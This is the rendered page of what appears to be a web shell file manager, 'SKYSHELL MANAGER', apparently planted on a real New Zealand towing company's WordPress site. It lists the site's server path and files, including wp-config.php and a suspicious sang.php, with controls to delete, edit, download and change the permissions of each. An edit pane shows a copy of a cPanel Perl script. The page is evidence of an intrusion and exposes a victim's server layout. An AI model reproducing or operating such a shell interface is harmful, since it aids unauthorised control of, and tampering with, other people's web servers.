📁
SKYSHELL MANAGER
PHP v7.4.33
Create
Create
Path:
root
/
home
/
towingrecovery
/
public_html
/
glenfieldtowing.co.nz
/
Name
Size
Perm
Actions
📁
cgi-bin
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0555
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-admin
-
0555
🗑️
🏷️
🔒
📁
.quarantine
-
0555
🗑️
🏷️
🔒
📁
.tmb
-
0555
🗑️
🏷️
🔒
📁
.well-known
-
0555
🗑️
🏷️
🔒
📄
amp.php
0.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.43 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sang.php
37.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
36.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: unlink_service_account
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/unlink_service_account Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::unlink_service_account; use strict; use warnings; use Cpanel::AcctUtils::DomainOwner::Tiny (); use Cpanel::JSON (); use Cpanel::SafeRun::Errors (); use Cpanel::Usage (); exit( run(@ARGV) ) unless caller(); sub run { my (@args) = @_; my ( $user, $service, $dismiss ); my $opts = { 'user' => \$user, 'service' => \$service, 'dismiss' => \$dismiss, }; Cpanel::Usage::wrap_options( \@args, \&usage, $opts ); usage() unless ( $user && $service ); my ( $local, $domain ) = split( /\@/, $user, 2 ); usage() unless ( $local && $domain ); my $owner = Cpanel::AcctUtils::DomainOwner::Tiny::getdomainowner( $domain, { default => '' } ); if ( !$owner ) { print "Cannot find the owner of $domain, try rebuilding /etc/userdomains first with /usr/local/cpanel/scripts/updateuserdomains\n"; return 1; } # Use bin/uapi instead of Cpanel::API::execute because this script is uncompiled, and some of the # API code we need is unshipped. my $json = Cpanel::SafeRun::Errors::saferunallerrors( '/usr/local/cpanel/bin/uapi', !$< ? ( '--user', $owner ) : (), # if we're running as root, we need to tell it which user to run the API call for '--output', 'json', 'UserManager', 'unlink_service_account', map { join '=', @$_ } ( [ username => $local ], [ domain => $domain ], [ service => $service ], [ dismiss => $dismiss ] ) ); my $response = Cpanel::JSON::Load($json); if ( !$response->{result}{status} ) { print "$_\n" foreach ( @{ $response->{result}{errors} } ); return 1; } return 0; } sub usage { my $prog = $0; print <<USAGE; $0 [options] - Unlink a service account from a sub-account. This script may be run either as root or by a cPanel user. OPTIONS --user USER\@DOMAIN Full login of the sub-account. --service SERVICE Service to unlink from the user (ftp, webdisk, or email) --dismiss Also dismiss the merge prompt, so this account will not show up as as merge candidate Sample usages: > $0 --user test\@domain1.example --service ftp > $0 --user test3\@domain1.example --service email USAGE exit 0; } 1;
Save